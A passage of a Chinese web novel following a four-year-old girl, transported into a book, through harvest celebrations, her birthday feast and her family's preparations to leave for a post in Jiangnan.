莲花婶子蹲下身,伸手拨了拨水面,笑道:“今儿个可真是托小姐的福,要不是她平时闹着要看捉鱼,哪能捉到那么多的鱼?”
阿沅虽然没亲自捉泥鳅,可回来的时候,却是除莲花外身上最脏的一个,全身除了眼睛鼻孔外,就没有一处是干净的。
她身上的泥点子厚厚一层,干了以后结成灰褐色的硬壳,头发里还夹着几根干草屑,脸蛋上糊得跟花猫似的,只有两只眼睛滴溜溜地转,黑白分明。
黑猫原本蹲在墙头晒太阳,瞥见她进门,尾巴一竖,喵呜一声蹿上了屋顶,蹲在瓦片上警惕地往下看,惹得阿沅嘟起嘴嘟囔:“黑猫坏,阿沅香香的!”
洗个澡,阿沅躲了几回,还被捉回来。洗第一遍跟洗泥鳅一般就在天井,只是泥鳅清洗用的是冰冷的井水,给阿沅冲的是温水。
柳氏挽起袖子,端着铜盆,试了试水温,弯下腰柔声道:“阿沅乖,过来让娘冲一冲。”阿沅却像条小泥鳅似的往后退,背抵着井沿,双手护在身前,脑袋摇得跟拨浪鼓一样:“不要不要,阿沅自己洗!”
柳氏又好气又好笑,一个箭步上前,伸手就把她捞了过来。
柳氏想把阿沅剥个精光,孟沅当然不干,她不要脸的吗!最后撒泼打滚,又哭又闹,只是冲了个大概。
阿沅被柳氏按在膝上,两只小胖手死死揪住衣襟,脸憋得通红,扯着嗓子嚎:“不要脱!阿沅是大人了!”柳氏哭笑不得,一边哄一边试图解开她颈后的系带,阿沅却像条刚上岸的泥鳅,扭来扭去,脚丫子乱蹬,溅了柳氏一裙子水。
最后柳氏只得作罢,就着她穿着小衣,用温水从头到脚浇了两遍,又拿帕子把露在外面的胳膊腿儿狠狠搓了几把,这才算过了第一关。
第二遍进了净室,从头到脚用皂角搓了一遍,皮肤都快搓出皮才罢手。
柳氏这回有了准备,把门闩插上,任凭阿沅怎么拍门求饶也不开。她把阿沅剥得光溜溜的,像条小白鱼一样拎进桶里,手里攥着搓碎的皂角,从头皮开始,一寸一寸地揉搓。阿沅被搓得龇牙咧嘴,嘴里呜呜咽咽:“娘亲轻点,阿沅疼……”柳氏手下不停,嘴上应着:“好好好,轻点轻点,可你看看这泥,都够种二亩地了。”
搓到脖子时,阿沅缩着下巴直躲,柳氏便挠她痒痒,净室里顿时响起咯咯的笑声和水花四溅的扑腾声。
第三遍,没人动她,阿沅才算是老实了。只是泡在浴桶里没一会儿就打起了盹,最后怎么被捞起来,被谁捞起来,睡了个甜蜜的午觉都不知道。
温热的水漫过肩头,水汽蒸得小脸蛋红扑扑的,眼皮越来越沉,小脑袋一点一点,最后靠在桶边,发出均匀细微的鼾声。柳氏轻手轻脚把她捞起来,用大帕子裹成个粽子,抱到床上。
阿沅在被窝里翻了个身,小手攥着被角,嘴角还挂着笑,梦里没有泥鳅,黄鳝和蛇,连田鼠也没见着一只。
“下午挖田鼠,小姐要不要去?可好玩了。”睡饱起来,莲花又来邀约,看着兴致勃勃,而且物什都准备好了。腰上挎只有盖的小鱼篓,手上还拿着火折子。
“不去不去,我怕。”起床后的阿沅生龙活虎,搬张小凳子在天井边看泥鳅和黄鳝蹦哒,看一下又张嘴吃一口娘亲喂的肉粥。
她刚睡醒,头发还有点乱,几缕碎发贴在额前,脸蛋红润润的。小板凳是专门给她打的,矮矮的,刚好够她够着盆沿。
阿沅眼睛盯着盆里,嘴巴张开等着,粥咽下去,又喊:“红袖快点,有一条又蹦出来了。”
阿沅咋咋呼呼,已经影响到了书房里孟怀瑾和萧执的温书,但也没人出来制止,毕竟今明两天还算是休沐。书房窗子半开着,孟怀瑾正摇头晃脑背文章,被外头“又蹦出来一条”的喊声打断,忍不住探头往外瞅了一眼,笑着摇摇头,继续低头看书。
萧执好像很乐意被打扰。拿本书,坐在游廊那里偶尔盯书几眼,更多的是盯着天井,也不知道是看鱼还是看这个小人儿。
游廊的柱子挡着半边身子,他靠着廊柱,书翻了几页就搁在膝上,目光穿过院子,落在那个蹲在小板凳上、时不时探出小手的阿沅身上,嘴角微微扬起,又很快抿平。
黄鳝算是比较老实的鱼类,只在木盆里偶尔游动一下,不然就是伸着长长的脖子,举头望天,一动不动。几条粗壮的黄鳝把脑袋探出水面,扁扁的嘴一张一合,像是在跟天空说话,身子却沉在水底,纹丝不动,偶尔尾巴轻轻摆一下,泛起一圈涟漪。
泥鳅并没意识到死期将近,还在做垂死挣扎,一条起一条上下翻滚,没一会就蹦出来几条,在青石板上扭来扭去。
红袖捡得不亦乐乎,一点都不嫌麻烦,偶尔来一声“好玩,捉住你了。”“看你再调皮,今晚有你好看。”一见有泥鳅蹦出,双手迅速合拢,捧起来往另一只装了清水的盆里放。
阿沅在一旁拍手叫好,一会又嚷嚷:“那条大的,那条大的又跳了!”
晚餐很丰盛,相信佃户家家都缺不了一碟煎泥鳅和一盘炒田鼠。天刚擦黑,村子里就飘起炊烟,家家户户飘出油香和肉香。
大宅则摆了整整五桌,除了煎泥鳅,黄鳝粥,还有田螺鸡汤。田螺每天都有捡回来的,这几天人人出去干活,柳氏特意让婆子杀了几只鸡,给大家加菜,主子下人都有份。
炒田鼠是大家上了桌才送过来的。佃户们吃饭没那么早,还是黑丫和大牛、二牛为了让大家也尝一口,特意赶了早炒了送过来,热油还滋滋作响,葱姜蒜的香味飘出老远。
“既然来了,就坐下来跟我们一起吃了再回去。”黑丫被老北奶奶和莲花婶子拉到她们那桌,她也乐意凑这个热闹,只是有点不自在。
老北奶奶按着黑丫的肩膀让她坐下,往她碗里夹了两条煎得焦黄的泥鳅,莲花婶子又给她盛了半碗黄鳝粥和一碗鸡汤。黑丫红着脸,低头吃得很香。
大牛、二牛本也被护卫、小厮留下,但是大牛只吃了两条泥鳅、半碗黄鳝粥,就连忙借故跑了,“灶上还有火呢,再不炒回来他们就没得吃,你们慢用。”
第一卷 第161章 孟大川醉酒
大牛边说边往外走,脚步匆匆,二牛有点舍不得,最后知道煎泥鳅也会给他们送过去,才跟着他哥跑了,一面跑一面叫:“哥,等等我!”
明明跟柳氏保证说全不沾田鼠肉的孟大川,抵不住酒香的诱惑,最终坐到了杨大儒、老北爷爷和孟柒他们那桌,他吃没吃田鼠肉不知道,只知道他们那桌分到的那碟炒田鼠最多,最后吃得连骨头都不剩。
身体恢复后,孟大川第一次喝醉。最后说话都大舌头,含含糊糊起来,“九月二十~阿沅四岁生辰~我们大办~”他举着酒杯,身子晃了晃,柳氏在旁边扶着,他挣开她的手,又提高声音喊了一遍:“大家都来~大爷高兴。”
他通红的脸,眼里带着笑,又带着点水光。他晃晃悠悠站起来,冲着满院子的人举杯:“南下~大爷~回来再喝。”说完,杯子往嘴边送,没送到,酒洒了半襟,人也往椅子上倒去。
“娘亲,阿沅是长大了么?”孟沅有点感慨,时间过得好快,过几天四岁生辰,再过两个月,她穿书而来就整整一年了。阿沅趴在柳氏膝头,仰着小脸,眼睛亮亮的,又带着点大人般的神情。
柳氏低头看她,伸手捋了捋她额前的碎发,轻声道:“是,阿沅长大了,但永远是娘亲的小宝贝。”
阿沅把脸埋进娘亲怀里,小手攥着她的衣襟,心里默默想,也庆幸,由于自己的穿书,孟家大房到目前为止每个人——也是她今世的亲人,个个全尾全须,背离了原本的悲惨命运,自己正在改写整本书的走向,往好的方向走。
但也有点遗憾,这样一来,也就是她的四岁生辰之后,她和家人怕是要做短暂分离了。阿沅抬起头,看着不远处喝醉后偶尔还在跟杨大儒说话的爹爹,又看看默默陪伴在爹爹身边的哥哥,再看看萧执独自静默的背影,心里有点酸酸的。
爹爹和娘亲跟她说过,孟执想要把她留在身边,留在京城的想法。
她是愿意的,她更想留在京城,或者说留在嘉禾庄,毕竟这里离侯府更近,她得留在这里守护家人的安全,即使他们想向家人伸出魔爪,起码她也第一时间洞悉。阿沅攥紧小拳头,在心里给自己打气。
但是她没想到的是,爹爹娘亲和哥哥却不是这样的想法,而是对六皇子还是心存些许戒备,或者说并没有完全能够彼此信任。
晚风吹过,廊下的灯笼轻轻晃动,光影在每个人脸上游移。柳氏低头看阿沅,眼神复杂,又抬头望了望井边的萧执,嘴唇动了动,最终没说出什么。
孟大川甚至有种顾虑,夫人和阿沅虽然救过六皇子,但最是无情帝王家,谁知道他把女儿留在身边,目的会不会是为了更好拿捏他们,也就是用阿沅为质。
这个想法,他跟柳氏和孟怀瑾说了出来,所以三人都有点顾虑,只有阿沅不知。不然她肯定会轻笑出声,甚至会帮萧执辩解,说他不是这样的人。
她趴在娘亲膝头,听着远处传来隐约的蛙鸣,眼睛慢慢眯起来。反正她就是有这种直觉。而且,若真这样,她也不怕,因为她有自保的能力。
庄子里的欢乐气氛一直都没消散,全因稻谷脱粒后没晒干,各家各户就已经基本估算出了自家到手的粮食有多少。
那金黄的稻谷铺满了晒场,在秋日的阳光下泛着诱人的光泽,谷粒饱满得像是要爆开来似的。即使林庄头的大秤还没有扛出来,但已经有人迫不及待地用斗量了一半。
“我家还是佃了五亩地,按往年交了赋税,再跟主家四六分成,到自家手里的最多不到四百斤。今年就算五五分成,也能收个差不多千斤。”
说话的是个三十出头的汉子,他蹲在地上,手指头在泥土上划拉着算账,划着划着,自己先嘿嘿笑了起来。
旁边的老黄头吐出一口烟,慢悠悠地接话:“千斤?你家那五亩地我看至少一千一,那谷穗长得跟狗尾巴似的,沉甸甸的,你看在这晒着,都多占了不少地。”
“今年不但可以吃上饱饭,还可以卖个三两百斤,银钱可以贴补点家用。”一个瘦小的老头搓着手,脸上的褶子都笑开了花,“我老婆子早就念叨着要扯块花布做件新衣裳,这下可算有着落了。”
他这么一说,旁边几个婆娘也跟着叽叽喳喳起来,这个说要打个柜子,那个说要给娃儿做双新鞋,晒场边上热闹得跟赶集似的。
“也幸亏后来信主家的全都签了契约,不然真是亏大了。”一个年轻后生拍着大腿,一脸庆幸,“当初我爹还嘀咕,说种地种了几十年,还要个奶娃娃教?现在可好,我爹天天在家念叨‘小禾宝是小神仙下凡’。”
“今年可以迎新媳妇上门了。”一个中年汉子话音刚落,旁边就有人起哄:“老王头,你儿子那亲事说了三年了,这回总算能办了吧?”老王头笑得见牙不见眼:“办了办了,已经定好腊月就办,到时候大家都来喝喜酒!”
“再多添一两个孙子孙女也饿不着。”一个老太太抱着孙儿,亲了亲孩子的脸蛋,“小宝啊,你赶上了好时候,以后天天能吃饱饭,长得壮壮的。”那孩子才二三岁,不懂什么叫好时候,只知道祖母笑了,也跟着咯咯笑起来。
老黄头抽着水烟袋,蹲着看晒场上的稻谷,脸上的皱纹都浅了两分。他眯着眼睛,看着那铺得满满当当的谷子,想起春耕时节的担忧,想起那些饿得睡不着的夜晚,如今都像梦一样远了。
他一开腔,声音比往日洪亮了许多:“都别瞎猜了,等庄头过秤,实打实的数字出来,你们就知道我说的一千一还是少的!”佃户们听他这么一说,七嘴八舌讨论得更热闹了。
有的在默默算着自家的收成,手指头掐了又掐,嘴里念念有词;有的想着家里要添置点什么东西,锄头该换了,铁锅也该补了;还有人甚至觉得可以把一天吃两餐改成三餐。
这话一说出来,立马引来一片羡慕的目光——能吃上三顿饱饭,那可是以前想都不敢想的日子。
第一卷 第162章 好事还在后头呢
“好事还在后头呢!大家聚拢过来,还有好处告诉大家。”林庄头提着一面小铜锣走过来,他这一招呼,所有人呼啦啦全围了上来,连那几个正在追麻雀的半大孩子都丢了手里的石子往这边跑。
稻谷脱粒后再没有其他事,大家聚拢在一起就是纯唠嗑,兼顾着赶前来偷吃的麻雀,一听说有好事,更是高兴。
有人把烟袋锅往鞋底磕了磕,有人抱起玩耍的娃儿,都伸长了脖子等着听。
更是有人催促道,“庄头别卖关子了,是不是大老爷又跟我们签契约,教我们冬天种蔬菜?”这后生的话立刻引起一片附和。原本就有过这种说法,说冬天也能种出青菜来,这可是他们祖祖辈辈都没听过的新鲜事,也是他们唯一能想到的理由。
“大老爷说了,九月二十小禾宝的四岁生辰,家家户户可以封灶,主家杀猪摆席,包三餐。大家带张嘴,说几句好话就成。”林庄头把铜锣往身后一背,笑眯眯地宣布。
“那么好的事?好话要说,礼还是要送的。”一个老妇人双手合十,朝着主宅的方向拜了拜,“我就说,禾宝就是我们的小福宝,不然我们哪来那么好的收成。我得给她绣个荷包,绣上稻穗和福字。”
“我回去得和媳妇好好合计,定送个禾宝喜欢的小玩意。”一个年轻汉子挠着头,“可我不知道小禾宝喜欢啥啊?”
“这还用问?小娃儿不都喜欢拨浪鼓、布老虎那些,送个好点的小被子也行。”旁边的人给出主意。
人群里顿时如同炸开了锅,比刚才议论收成还要热闹十倍。时间未到,就有人开始说好话了,双手合十向上苍祈祷,为禾宝祈福的妇人更是大有人在。有个老太太拉着孙儿就要跪下磕头,被旁边的人赶紧扶住了。
“大家先静一静,静一静,好事还在后头呢。”林庄头没想到自己话没说完,下面就开始炸开了锅,连忙敲了一下锣,“当当当”的声响在晒场上空回荡。即使是这样,也好久才使得所有人安静下来。大家眼巴巴地看着他,等着那“后头的好事”。
“大老爷和夫人说了,禾宝不收什么贵重的礼,让大家千万不要破费,带张嘴去吃就行。”林庄头清了清嗓子,“但是另外有件天大的好事,大家听好了,也有个思想准备,别兴奋得晕了过去。”
一贯严肃认真的林庄头,说起这话来,把大家都逗乐了。有人捂着肚子笑:“庄头,您这脸板得跟门板似的,说出的话却跟抹了蜜一样甜。”
“晕就晕了,只要不是饿着了,难受着了晕的,多晕几次我们也乐意。”马上有人又起哄,惹得下面的人哈哈大笑,笑声震得晒场边上的麻雀都扑棱棱飞走了好几只。
“到时候算好了各家分得的好稻谷,主家用其他稻谷跟大家置换,每百斤置换一百二十斤。还是老规矩,不强买强卖,大家回去好好跟家人商量一下,同意的,过两天晒干后马上置换,就在这晒场上进行。”林庄头把最后的好事说出来,自己先带头鼓起掌来。
“还有这种好事?不会吧?”一个老汉瞪大了眼睛,手里的烟袋差点掉了,“那不亏了老爷夫人?这么多粮食我们收了也亏心不是!”他说着,连连摇头,好像这是什么天大的不合理的事。
“是啊,是啊!有什么好商量的!百斤换百斤我们也愿意。”周围的人纷纷附和,“主家对咱们这样好,咱们哪能占这个便宜?”
“是啊!种子本来就是主家的,又是大老爷和禾宝教我们怎么种地,我们有什么理由不置换?再说主家这么做,肯定也是为了来年更好的种植。”老黄头把水烟袋往地上一放,站起来说,“我老黄头活了六十岁,没见过这样的好主家,这是把咱们当自家人看啊。”
“我们乐意。”众人异口同声,声音响得把刚飞回来的麻雀又惊走了。
“不用商量了,大老爷说怎样就怎样,我们全听吩咐。”一个年轻人喊了一嗓子,立刻引来一片赞同声。
阿沅被爹爹抱在怀里,远远听到晒场里的动静,小耳朵竖得高高的。她听不太清那些人在说什么,但那欢腾的气氛隔着老远都能感受到。
她扭过头,吧唧一口亲在孟大川脸上,这一口亲得又响又脆,还带着点小娃儿特有的奶香味。亲完了,她乐得直拍手,小胖手拍得“啪啪”响,眼睛弯成了月牙儿:“我们的佃户就是好的,开春阿沅还给他们好粮种。”
她原本就跟爹爹和娘亲说过了,若是这种小小的要求佃户们都不理解,多换给两成的粮食都不配合、不同意,以后还让他们种低产粮去。
说这话时,她小脸鼓鼓的,腮帮子气得像个包子,两只小手叉着腰,活像一只护食的小猫。空间里种的粮食还更好,而且绝对没有变种,随随便便就可以拿出几十万斤,收这点粮食根本就不用求的。
虽然明知道女儿说的是气话,但孟大川夫妇看着她那副小大人的模样,都忍不住笑了。
孟大川捏了捏女儿的小鼻子,心里想的是:整个大康朝,哪来那么好的主家?又哪来这么贴心的小禾宝?
秋收后的第七天,稻谷全部晒干了,金黄的谷粒在晒谷场上铺了厚厚一层,踩上去沙沙作响。
佃户们整整忙了十天,这会儿终于能直起腰来歇口气。是个庄子所有的粮食聚拢了来,原本需要交的皇粮,那边早就差人提前送去了官府——公主府那边做事向来周到,不愿让孟家因为这些琐事受人指摘。
这些好粮食粒粒归仓,颗颗饱满,在粮仓里堆成了小山,全部归了他。
第一卷 第163章 为什么多出二十万斤?
看着那一袋袋码得整整齐齐的粮食被拉走,他心里却有点不明白。
按他的估算,不到五百亩的稻田,就算每亩收了六百斤,打的粮食最多不过三十万斤。
可孟家足足凑给他五十万斤——多出来的那些,像是凭空变出来的一般。他站在那儿想了许久,指尖轻轻叩着门框,思来想去,只能归结为孟家在京城附近的庄子不止这四家,怕是还有他不知道的哪几处,也在悄悄种了好粮食。
孟大川这个人,做事果然留三分余地,不像他想的那么简单。这一点从他用人这方面,他早就领教过了。
还有一点他也无法理解。他收的这些粮种,本就是打算运一半去江南的。也就是为了孟大川即将在江南的任职做打算——他甚至连船都预备好了,只等孟大人点头。
没成想,孟大人却不领情,非但不领情,还放下了狠话:“得六殿下看重,即使没有那么好的粮种,本官也绝不辜负,定会种出高产粮来。”说这话时,孟大川背着手站在书房里,脊背挺得笔直,眼睛里有一种萧执很熟悉的光——那是他皇祖父看人的时候才会有的光,像是要把人看到骨头里去。
萧执当时愣了一下,随即笑了。他真真是没看错人,孟家孟大人值得托付。
“姨母,你们可以开始收拾南下的行装了。”这天吃完晚饭,萧执端着茶碗就出了声。
今早刚得了大长公主的信,说是吏部的任职文书很快就会下了。他说这话的时候,眼睛看着柳氏,语气里带着几分关切,“最多是过完阿沅的生辰,孟大人的任职文书就会下达,到时孟大人怕是还要回城三两天,到时就直接从京城出发,也不用回这了。”
他把茶碗放下,又补了一句,“姨母若是有什么想带的,尽管收拾,我让人预备几辆宽敞的马车。”
“这么快吗?我还以为还要天气更凉快些。”柳氏愣了愣,手里的筷子停在半空中。她的神情里有点不情愿,眉头微微蹙着,嘴唇抿了抿。但看得出并不是很高兴,但也不难过,而是有点纠结——那种想要发作又不能发作的纠结,像是有什么话堵在喉咙里,咽不下去也吐不出来。
果然,过了一会儿,她终于忍不住了,猛地转过头看向孟大川,眼眶都红了。她咬着牙,声音有点发抖,却带着压不住的恨意:“就这么走了?想想他们就这么害死了瑾儿和阿沅——他们可曾手软过半分?”
她的声音越来越低,却越来越狠,“可他们还活得好好的,我就恨不得也去给他们放把火。特别他们家那两个小杂碎,想想还要嫁进皇子府,我就气得肝疼。”说着,她把手里的帕子攥得死紧,指节都泛了白。
“夫人,慎言。”孟大川听她这么口无遮拦,在六皇子面前说出这么莫名其妙的话,马上吓了一跳。
他先是飞快地看了萧执一眼,见他面色如常,只是微微诧异,才稍稍松了口气。
他尬笑几声,声音里带着几分安抚的意味,看向对面的萧执,解释道,“他们害人必然害己,这不是两个孩子现在还好好的吗?只是先放过他们而已。”他说着,悄悄伸手在桌子底下拍了拍柳氏的手背,示意她别再说了。
“他们想要害死师兄和阿沅?”
萧执的声音忽然拔高了几分,那张向来温和的脸一瞬间变了颜色。他怒目圆睁看向孟大川,手里的茶碗“啪”的一声放在桌上,茶水溅出来几滴。这事他怎么不知道?
不是侯府那老虔婆和二房想要治孟大川于死地,抢夺爵位而已吗?他原以为不过是争权夺利那一套,可听柳氏这口气,分明还有别的事。
他们曾经对阿沅和孟怀瑾动过手?而且是想直接弄死的那种?他的眉头拧成一个疙瘩,眼神凌厉起来。
“一言难尽,一言难尽。”孟大川继续尬笑,额头都见了汗。他总不能说前世他们一家都死了,还是神仙托梦给阿沅这个四岁小娃,让他们提前知道的。
他只能端起茶碗来喝了一口,借着茶碗挡住萧执的视线,掩饰自己的不自在。
“他们不得好死。”阿沅忽然开了口。她坐在娘亲旁边,小脸绷得紧紧的,那双平日里总是笑眯眯的眼睛这会儿瞪得圆圆的,牙齿咬得咯咯响,像一只炸了毛的小猫。她生气地冲着孟大川,小手指着虚无,“若不是爹爹拦着,他们早就被冻成冰人了。”
说完,她又觉得不解气,小手忽然拍向胸脯,向爹爹和娘亲保证,那肉乎乎的小手拍得胸口“咚咚”响,“爹爹和娘亲不用担心,阿沅让他们活不成,死不成。”她歪着脑袋想了想,又加了一句,“总之就是不能让他们好过。”
她说话的时候,小眉毛一挑一挑的,那副认真的模样,仿佛自己真的能说到做到,眼神里确实透着狠劲。
“阿沅,安心种你的地。”孟大川看着女儿这副模样,又是欣慰又是头疼。他弯下腰,把声音放得很低,像是在跟她说悄悄话,“此事既不能捅破,又不能让他们好死。还涉及祖父的声誉,须得从长计议。还是等爹爹回来。”
他伸手摸了摸阿沅的小脑袋,把她刚刚拍乱的衣襟理了理。
“爹爹回来?三年还是五年?”孟沅掰起了小肉手,先伸出一根手指,又伸出第二根,假装分不清是几个。她的小嘴撅得老高,眼珠子转了转,然后又咬牙切齿,小脸都皱成一团了。
“不行,太长了。我不能让孟怀堂和孟绫活这么久。”孟沅不再说什么堂哥堂姐,又觉得自己才四岁,像娘亲那样骂什么小杂碎不太好听,干脆叫他们的狗名。
她说着,小拳头攥得紧紧的,在空气中挥了挥,仿佛那两个坏人就在眼前,她要把他们打跑似的。
“孟大人和姨母放心,这事本殿下不知道还好,既然知道了,绝不会让他们好过。”萧执说完看向阿沅,他的眼神很认真,脸上的怒气已经收敛起来,换成了坚定的神色。
第一卷 第164章 生辰宴
他冲阿沅点了点头,声音温和却笃定,“我会帮阿沅达成心愿。”那语气,像是在许一个很重要的承诺。
然后再看向孟大川,他的声音恢复了平日的沉稳:“你的人,孟大人尽管带去。过完阿沅的生辰宴,我的人会马上接管庄子。”他顿了顿,目光扫过阿沅,又看向孟大川,话里的意思很明白:我不缺人,我也会保护好阿沅。去往江南,孟大人也需要人手,该带的尽管带走。
“除了伺候阿沅的几个,我再留孟柒和两个暗卫。”这是孟大川早就计划好的。他本还想再留守卫庄子的护卫,听说萧执的人要接管庄子,既然知道他手底下人手不少,只要能保证女儿的安全就行。
他说着,从袖子里取出那根黑色的哨子,低头看了片刻,然后郑重其事地挂到了阿沅的脖子上。那笛子乌黑发亮,衬着阿沅嫩黄色的衣裳格外显眼。
他弯下腰,凑在阿沅耳边轻声交代,声音低得像风:“记得没?吹笛子,紧要时大叫一声乌龙。”他的眼里有几分不舍,又带着几分期盼。
阿沅点了点头,但又摇了摇头,小啾啾甩来甩去。她仰起脸,认真地说:“柒叔阿沅不要。让他去保护爹爹,我的人够了。”
她掰着手指头数给爹爹听,一根一根手指认真地数过去,“红袖、绿果和红豆,现在再加九叔、十一叔,已经绰绰有余。”她把“绰绰有余”四个字咬得很清楚,像是刚学会的词儿,要显摆显摆。
数完了,她又皱着小脸说,“再多真的觉得碍手碍脚了。”那副嫌弃的小模样,活像个小大人。
还有莲花一家都留下来,老北爷爷本来想跟着去的,但年纪大了,孟大川不允,也觉得有必要留在嘉禾庄。
杨大儒和萧执也不走,庄子里的玩伴一个不缺——黑丫、大牛、二牛他们都在呢。阿沅想着这些,心里可高兴了,她可没有一星半点柳氏那样的离别愁绪,反而有点隐隐的兴奋。
她晃着小脚丫,已经开始盘算:以后怎么玩都不会被爹爹和娘亲拘束了。
九月十九日,天刚蒙蒙亮,庄子里的猪就开始不安分地哼哼起来。一共杀了十头猪,杀猪匠都是庄子里做过这事的农户,手艺利落,一刀下去,猪都没怎么挣扎就断了气。
大榕树下支起了大铁锅,热水咕嘟咕嘟地冒着白汽,几个壮实的小伙子忙着褪毛、开膛,血腥气混着柴火味飘得老远。
倒不是完全因为第二天阿沅的生日宴,整个庄子老老少少加起来也不过三十桌,按人头算,就算大家伙儿敞开了肚皮吃,顶天也就吃得下三四头猪。而是庄子里的猪确实养得多,今年开春一窝窝地生,栏里都快挤不下了。
再者,这个季节秋高气爽,日头好,风也干爽,正是做晒肉干的好时候——腌制后蒸熟晾在屋檐下,三四天就能收,保留的时间长,能吃到明年开春。
“一行这么多人,再快,到江南少说也要走二十来天。多备点干粮,有备无患。”老北奶奶坐在灶台边,一边往灶膛里添柴,一边念叨。
灶上的大铁锅里,瘦肉和腱子肉块在酱油和香料里咕噜咕噜翻滚着,香气能把人肚里的馋虫都勾出来。
柳氏听了她的话,打算多做些肉干,用油纸包好,路上饿了随时能撕一条嚼。
倒是腊肉,阿沅不建议带——她趴在灶台边,小脸被热气熏得红扑扑的,一本正经地说:“腊肉不能生吃硬邦邦的。多包点肉包子吧,要那种一咬就流油的肥肉馅儿,路上不冷不热正好吃。”主要是护卫们特别喜欢吃。
说得一屋子人都笑了,柳氏伸手点了点她的小鼻子:“就你鬼主意多。”
他们一家子早就商量好了,这一趟阿沅要几百里相送,将家人送到江南的地界,再返回。柳氏起初舍不得,说孩子太小,路上颠簸受罪。
阿沅却拍着胸脯说:“娘,我不怕。九叔教我骑马了,我骑得可稳当啦!”孟怀瑾在一旁拆台:“是骑得稳,就是从马背上下来的时候腿软,得人抱。”气得阿沅追着哥哥满院子跑。
生日宴摆在了晒场,不用那么挤,但是很多小娃娃不上桌,一共二十几桌,请了庄子里的老老少少。
阿沅穿着一身新做的红衣裳,头发多了些,被柳氏梳成两个小髻,扎了红绳,戴了粉色头花,活像年画上的娃娃。
她收到的礼物堆了几张桌子加两个箩筐,最值钱的便是萧执送的那一整箱宝贝——打开来,里头是精致的玉簪、玉佩,还有几串成色极好的珍珠,一看就是宫里的东西,所以不敢摆出去。
萧执几乎把自己十岁来的收藏都搬空了,凡是适合女孩子的,一股脑儿全送了,甚至他亡母留下来的一对羊脂玉镯子,也没舍得留。
阿沅捧着那对镯子,抬头看他,小眉头皱起来:“阿执哥哥,这个太贵重了,我不能要。”萧执却只是淡淡笑了笑:“给你就拿着。我娘若在,也会喜欢你的。”
情谊最重的,是柳氏亲手做的那些衣服鞋袜。从里到外,从冬到夏,一套套叠得整整齐齐,针脚细密,绣的花样都是阿沅喜欢的——小蝴蝶、小兔子,还有几朵梅花。
柳氏一边收拾一边红着眼眶:“娘亲做到你六岁的,省的长了个子不够穿。”阿沅扑进她怀里,闷声说:“那我就长慢一点,多穿几年。”
直到这一刻,阿沅才明白,为什么这段时间娘亲总是针线簸箩不离手,还要跟几个姑姑们一起赶,熬得眼睛都红了。
爹爹送的是一大盒精致的飞镖,镖身小巧,镖尖却锋利,还有一把适合她佩戴的小手弩,弩身刻了朵小梅花。
孟大川蹲下来,跟她平视着说:“过完这个冬,九叔和十一叔就会教你。好好学,往后没人敢欺负你。”阿沅摸着那小手弩,眼睛亮晶晶的,用力点了点头。
第一卷 第165章 孟大川进京
“妹妹,别再偷懒了。以后多跟先生读书认字,争取把神仙姑姑空间里的游记都读完。”孟怀瑾送她一只会拍翅膀的木鸟——是他自己捣鼓了好久做出来的,一拧机关,翅膀就扑棱扑棱地动。
他一边说,一边把木鸟塞进阿沅手里,又板起脸来交代,生怕阿沅因为他们的离开,没人管着,就由着性子偷懒,把学问都荒废了。
孟大川当着萧执的面,故意板着脸教训阿沅:“好好听你阿执哥哥的话,阿执哥哥生起气来可了不得的,爹爹鞭长莫及。”这话听着像是说给阿沅听的,可那语气,那眼神,分明是警告萧执——你若敢拿我闺女撒气,我饶不了你。
萧执只当听不明白,脸上淡淡的,也不怎么理孟大川和孟怀瑾,只在看向阿沅的时候,眼里才有一丝柔和。
可是对柳氏的拜托和拳拳爱女之心,他却悉数收下,柳氏说一句,他应一句,有求必应。
柳氏也给他做了来年的四季衣服,每季两套,料子选得讲究,针脚一样细密。叠好交给他时,柳氏轻声说:“殿下一个人在外,多保重。往后若是得闲,就给姨妈捎个信。”萧执接过衣裳,郑重地行了个礼,什么也没说。
九月二十一,天还没亮透,孟柒就带着两个护卫绕过京城,先行下了江南。孟大川吩咐过,他们要先在江南必经之路、五通山下一个叫西岗的小镇租几间空着的大宅子,打扫干净,检查好门窗瓦漏,然后在那里等着迎接他们。
九月二十五,肉干收了,装了满满几布袋几箩筐;行囊也都收拾妥当,装上了马车。送行的人和去江南的人,都跟着孟大川进京。
“孟大人可要住进侯府?”临行前,萧执过来问。孟大川摇了摇头,声音沉沉的:“我们直接住进客栈。但本官领了任职文书,会进侯府告知母亲。”
说到“母亲”这个词时,他几乎是咬着牙一字一字挤出来的,眼里翻涌着滔天的恨意,像要把什么人生吞活剥了似的。
阿沅被哥哥圈骑在马上,正好看见爹爹那眼神,心里一紧,悄悄拽了拽缰绳,往萧执那边靠了靠。
“那阿执就在此跟大人别过,进城后我们就权当不认识,但阿执定会按时到西岗镇接阿沅。”萧执在马上抱了抱拳。他其实不太明白,为什么这一家人舍不得分开,却不让阿沅在城外的十里亭送别,偏要让她一个四岁的孩子来回奔波这超过千里的路程。
可既然他们这样决定,他也只能配合——只因这里面牵涉了阿沅,他不放心假手于人,只想着定要将它全尾全须带回来。
“那就谢过六殿下了,其实殿下无需亲自前往,若是不放心,派几个人随后赶到就行。”孟大川也不敢把话说得太强硬,不说让他不派人跟着。
已经提前派了孟柒去安排,也并不担心会露出什么破绽。
因为阿沅拍着胸脯跟他保证过——当时她踮着脚尖,小手拍得啪啪响,奶声奶气却一本正经:“爹爹放心!神仙姑姑说了,此等小事,小心防范着些,无碍!”
孟大川原本至少可以连升两级的赫赫战功,就这么轻飘飘地换了老宋氏的诰命,而且那诰命还不是按自己意愿去请封的,是被那老虔婆拿所谓的孝道去求来的,想想实在憋屈得很。
边关三年,刀头舔血,拿命换来的功劳,最后却成全了那个躺在床上的老东西的虚名,换谁心里能舒坦?
可他也明白,这事到底算事出有因——官场上早就传得沸沸扬扬,说他孟大川身子废了,有些消息灵通的官员甚至已经私下议论,说这人有可能已经死了,只是侯府为了体面,把死讯瞒住了大半的人。
这些闲言碎语,如果不是神仙姑姑托给女儿的梦,提早知道了老虔婆和二房的算计,他也会以为理所当然。
等孟大川任职钱塘郡伺农官的文书正式公布,在朝堂这个看似平静实则暗流汹涌的大湖里,甚至连一丝涟漪都没荡起来。实在是京城里从五品的小官多得跟米铺里的米似的,一抓一大把,谁会在意一个管农事小官调任?
更何况伺农官和武将本就是天壤之别,一个管田地庄稼,一个管刀枪厮杀,压根不沾边的事,自然没人把眼前这个孟大川和当年那个孟大川联系到一起去。
而孟大川没立战功前,在朝堂上也确实算是默默无闻,不过是那种踏实干活、从不吭声的黄牛罢了。
